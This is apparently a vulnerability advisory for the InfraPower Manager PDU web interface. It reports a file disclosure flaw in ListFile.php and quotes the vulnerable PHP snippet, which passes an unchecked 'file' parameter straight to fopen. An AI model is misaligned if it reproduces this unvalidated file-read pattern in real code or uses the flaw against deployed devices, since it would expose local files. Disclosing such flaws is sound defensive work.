### Summary
InfraPower Manager PPS-02-S is a FREE built-in GUI of each IP dongle ( IPD-02-S only ) to remotely monitor the connected PDUs. Patented IP Dongle provides IP remote access to the PDUs by a true network IP address chain. Only 1xIP dongle allows access to max. 16 PDUs in daisy chain - which is a highly efficient cient application for saving not only the IP remote accessories cost, but also the true IP addresses required on the PDU management.
### Description
InfraPower suffers from a file disclosure vulnerability when input passed thru the 'file' parameter to 'ListFile.php' script is not properly verified before being used to read files. This can be exploited to disclose contents of files from local resources.
`/ListFile.php`:
```
8: if(isset($_GET['file'])){
9: $handle = $_GET['file'];
10: $fp = fopen('/ramdisk/'.$handle, 'r');
11: while(!feof($fp)){
12: $tmp=fgets($fp,2000);
13: $tmp = str_replace("\n","<br />",$tmp);
14: echo $tmp;
15: }
16: fclose($fp);
17: }
```
